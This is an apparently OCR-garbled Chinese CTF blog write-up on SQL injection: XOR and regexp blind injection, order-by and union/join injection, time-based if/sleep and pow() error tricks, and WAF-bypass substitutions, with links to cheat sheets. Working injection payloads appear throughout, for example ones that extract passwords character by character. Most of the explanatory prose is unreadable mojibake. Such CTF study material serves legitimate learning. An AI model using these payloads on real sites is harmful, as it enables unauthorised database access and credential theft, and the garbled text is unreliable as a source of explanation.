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0x01 XOR¥EA

FARXFITENM T REAF S, BTl elAa xorE A

1. EA T A payload

admin'~(ascii(mid((password)from(i)))>j)~'1'="1"%23
BE
admin'~(ascii(mid((password)from(i)for(1)))>j)~'1'="1"%23
BATR I M — T XAMER) 4% K
B AR GRE 5 R0 BT E:

admin'
ascii(mid((password)from(i)))>j
'1'="1"'%23

B A T A B 5 T I A AR E 2 M R GRS REAN1) , RE T EKEIANHE 'R
R4 BA~ payloadi) 2 48 45 R ARt b A (G A e, BATELAT DL XM R AT B E SR T

07170 --> 1 EHIREHE
010" --> 0 EHIREIANRE

X B midl B8 i A5 FH 75 7% -
EFHAEWT, X Tstreffss, MpostEARIMEMET M, & EIBRenk EH T 7478


https://blog.csdn.net/xuchen16
https://blog.csdn.net/xuchen16/category_7766411.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=sql%25E7%259B%25B2%25E6%25B3%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=sql%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/xuchen16/category_7766411.html
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MID(str,pos,len)

REMAER, from(1)RRNE ML EFFHEBIE T HRFRE, for(1)Rr NS EiR — KRB —1
TR

mid((str)from(i))
mid((str)from(i)for(1))

E TENERLS RN ZAERET

XEAREXARER: N2 BEAnfornl LAUIEH 471 ?

[ Aix B fascii B 32 BN BV 77 5B 38 — AN A/ i ascii g o8 %

2. B

TP T REEF: and. or
TETES,
ST EH

MRXBEIAE T =5KE, & AH>EE <R (RPMRIELE)

payload: admin'~(ascii(mid((password)from(i)))>j)~('2'>"'1")%23

WMBRXBEAIE T %SMERFRE, BRERE A5 SEERATUMEEE 5] SLET “1°="1

0x02 regexpiE A\

1. E A7 A payload

select (selectiff]) regexp 'IEM"
T Z— M FRUEA— T A

B IEH B WG AR IXAE:

select user pass from users where user id = 1

BEBATIENEN, HILERNEE, AULEEEO

select (select user_pass from users where user_id = 1) regexp '~a’



X B AR R pattern i sk
BE— BB
B # regexpix A~ k4 ik v LA B where 2k 4 B 1)=5

select * from users where user_pass regexp '"a9’

2. ERBR

T T = in. like

XERMNRABRIEIE T HIE, AT CAE SRS BT AT IL S

AR IEMEAHETUEX R
http://www.cnblogs.com/lcamry/articles/5717442.html

0x03 order byE 7+
1. E A7 Apayload

select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3

H %56 F Forder by FH 72

order by 'number' (asc/desc)

Bt R —FIBEATHE R, BRIARTHFHES, RJSEARINER Lasc, M2 LE—ABHEST

select * from users order by 3 asc

BAVEIE NI & 28 Forder by>k A Wi FE R 515k,  ARIRATIX BAE A b EL A union select Ri#ATIEN
2. FEE S

HAEEEREANRE AT FZRFE, KRR E K2 HtestH 7 Muser_passfi
BERANEES BN Eorder by 3, BIX} 5 =53t 17 7+ HEF) (% B asciiid &)

X B fjuser_pass¥ 32 FATunion select BB =%, XEMITIBEHR NS

XEAREAHMA AN, BAEMBDEE

FERAPtestllBIE—TRT, FIXBELEARANEREEZEREN, HREIRE 515, BEERK
FIBTRATE ERE R T EH

L RX B thH] LU Horder by descl& P HEFISRIEN , BT LAIX B EEAR 45 8 Y 3 SR AT 1


http://www.cnblogs.com/lcamry/articles/5717442.html
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M T 5%
MW TS
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0x04 41
1. asciiB 13k H skctf login3f)—i& /&%, bugku L7

i H 858 hitp://123.206.31.85:49167/
RARHERIBREE, FAFEEEN, Sfuz— Tl THAFRH. 1§ HbpiHintruderfEi i\ 5 fitk 47 fuzz(F S 7E
JEHS7EAEKRK).

AUEIXER=, Tk, and. orff#idiIE T, HE>., <. &A% LIE, FrolxX B HasciBiE

X BB JEREE A Hadminffipassword, SEBAVEMVHAE T, HiE4 Hpayload:

username = admin'~(ascii(mid((password)from(1)))>1)~("'2'>"'1")%23

M AR 3 — B B sqlwebff) 3 o —Fh i@ ikt & A BiX FhasciiB &
XA payload FIEAT EE AR —FER, FrLXAEERITE CIB8ELT .

2. regexpEIFE &K H LB —EFEANE

BH B http://ctf5.shiyanbar.com/web/earnest/index.php

writeupB#z: http://www.shiyanbar.conmvctf/writeup/4828

LY RBEPFFIWPHE), KNXEEAMET i, 2 BEEKsq AR S E BRI, 4 idwaf)—iE
HiEH .

REBRAA—NdEARA R, dFEEAR, ERIE TRSAKRAE, EOPERAAEAR T, EFpFHE
AR
FRXE, ST ERKIEIES, FrUxonEABMER T, KilikFEregexpiE MERSHT S MEERTENAN

0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'="

XE R Mpython B HIA, —A—ANHI% 745 8 1) 1IE I IL A8 2 & JE flag
3. unionHEMAER B E #, AN LI ARLE A ITEN, FIT 2K B BiRcti)—Ectill A .

B H 4 #:: http://ctf. whaledu.com:10012/52gw5g4hvs59/
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http://ctf5.shiyanbar.com/web/earnest/index.php
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BEFRH#AET, HEARUF L writeup
B B FESqQUEANIER —A> LA A, W LUEEEA E 2 A EG

E3| 2 JEEATE TR, R LARR SO DABEHL T A5 & L% 2] T /Up10aD/SC =T, BATH H KSR Z@EEAE
B AR RSO, FEJRRIGEN R AE Forder by B iR U fF 4215 2

H gt fEorder by BVEX, AKX H:

B4 5 Horder by B vE R BIA T
XEFAETIE, SR TERNES, ArblpayloadBE iR ARIRIERE, IE% KN IZEXER:

image = 79 union distinct select Ox{filename} order by 1 desc

vE & B0 T i image=792& FE W B/ iid, X#forder by u PAik4T 5t L SE 8L
EAMEAE R MBAT L PHE—FE, FTULRKXATLLE SR & HR%G .

0x05 H:fih [f) — £ /Mips
1. —BEXERPOBHERFS)

F1

TR <--> %20. %0a. %0b. /**/. @tmp:=test
and <--> or
'=' <--> 'like' <--> "in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'

@tmp:=test A gEFEselect R F )G, FSFHMFHERER

BRI 5

FRAEBWER: left(). mid(). substr(). substring()
HasciifB#: ord(). ascii()

2, ~RERFAERAMTBA

(SELECT (@) FROM (SELECT(@:=0x00), (SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND

3. Subquery returns more than 1 row¥ fi# # 75 i

FEXANHEHRRZFEAL T 5, HRERERARE JFINELT, BEFEAIMEEARE, mar=EfX
AN EE, Bflimt 0,1

IRBAVX B KE SHOLIE T VESR? AR offset R 7


http://note.youdao.com/noteshare?id=94ae1c287b7d49a55a7590f1b826df17&sub=4621B6951500439F8D75AF9E8A77A0E2
https://github.com/tmp

limit 1 offset 1

AR BATX B limit#eod 38 T W02 ARmt sk T I i) LR 7

(1) group_concat(fFFKIHRE)
(2) <FFE(R%ETF)

(3) not in

(4) DISTINCT

FHX P KB T sqiEARIER), XERA——26 T . KRR USERMIFERR, ERE7E
4. joinEA

payload: :

1' union select * from (select 1) a join (select 2) b %23

P LI TESHIELL T EH
T i payload (5 #1825 Ab 5 70 R 1) E M T3 38 T & S M7 B A KIEL T

union all
select * from(
(select 1)a join(
select F.[REHZHAKWFEST] from(
select * from [EEHMNEEE SN FBMIoinE S ]
union
select * from [FEZHMMR] [limitFH]
VF-- RABIBKENRREERSL, FLEX -G, REEEAE]. [FRS 1 EOHE
)b-- FE[EEZSFERHMABjoinE DA, LU R FBEHE F RN ]

BARKE T A AW TEE N, BAKERTUEE TERE:
https://blog.csdn.net/qq_33020901/article/details/78906268

5. WIEAN

BHEE FTHfpayload, i&H Tand. or. "t EMBFER THEH, ARNETRESMHEHAS, BE2AEHE
HARIMHAAB, KKALLHITgoogle

6. ifE W (S EAM A %MHF)
iFEE R A K

1f (A, KM REDAT B, KA ABRIATINER)

BT

admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)


https://blog.csdn.net/qq_33020901/article/details/78906268

RIFIFEER SRR F BN, B —EBCTFRIEANEMIwWpH Bt 2if 5 E
wpBEE:: https://www.kingkk.comv/2018/04/bctf2018-love-g/

FEZNXAREITYHA T powl BBUE & 1 K, ERLTIPARERZFSRE, BRAIITIZIEN
P B b R 1A R

JREIT

mysql> select if(1,1,pow(2,22222222222)); /I%4 R E R, & IE1
+ +

| if(1,1,pow(2,22222222222)) |

+ +

| 1]

+ +

1 row in set (0.00 sec)

mysql> select if(0,1,pow(2,22222222222)); /1% AR Et, R4S
ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222Y

5 F powiX i B His Y R PE B AN IEIX— A, KB ERMNEFROLBRRRT, BB EDUFctfifE R
A2 2 Il

0x06 H C. 2 & EANE
. ERBNENA, id=, username=, HIWGET/POST/COOKIEHEAN

—_—
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» AW TR REEANCRYE T REAN (21, 'BRELER)

s WAARBEEERHRGAERZRN, TRLKIER ERRAbool AT, HHMMEREBMNAERBIREEAN
(exp, updatexml (ft%e KA updatexml. extractvaluedizét) )

w

N

5. GBS AEBREEEHEHRT, id=11, id=1%231 (BBEREH//. %20. %0a. %09%:it)
6. #iTfuzz, FFE MLEHwaf T

7. EHRE A Erwalid B2 KRR (sql injection detected) , IR E BE BB ANTHFH (f0: " or
w=' Cor =, WRTUEGR EEE KE, WU F RSN T

8. MIHZHANE. Wi KNEBHETTE, FMTRE A LASE
9. MREAT N (REREBEMRERE) » union. REEN. BE
10. S&fEbp il —EEREHER

M. ZREHRAE

REZNPIPRRAEN RIFAWHEARE, KRBT RN SR 7 IH R BB AR R Y, XHE
ERAVE A SRR LM LEFLRKIRRT

0x07 453K iE


https://www.kingkk.com/2018/04/bctf2018-love-q/

EHERERL T EFEAREUnonTEA . RAEAMT B EFEANARBE L T ERK, R EER
Wk, fhth R B)E R TEE, WIRARIFE A E R K AT U HunionBEEEA LR, BEREER
KA RZH—2%, MIRFBDHE. FTLOXET kR ERE KB N ERFHBRETREEH, BEILAEZH

A ZRIE SR &R R E R RN KRR .

0x08 HAth — AN S H &
SQLIEAGEE £ 75

SQLi filter evasion cheat sheet
FHWafBypassz & (SQLIEANR)

sql BEZ IEMRE K&
mysqlFciE 5 KEA TS

fuzzZ


https://www.cnblogs.com/Vinson404/p/7253255.html
https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
https://xz.aliyun.com/t/368
https://www.cnblogs.com/lcamry/articles/5717442.html
https://blog.csdn.net/qq_33020901/article/details/78906268
https://github.com/H4lo/dictionary
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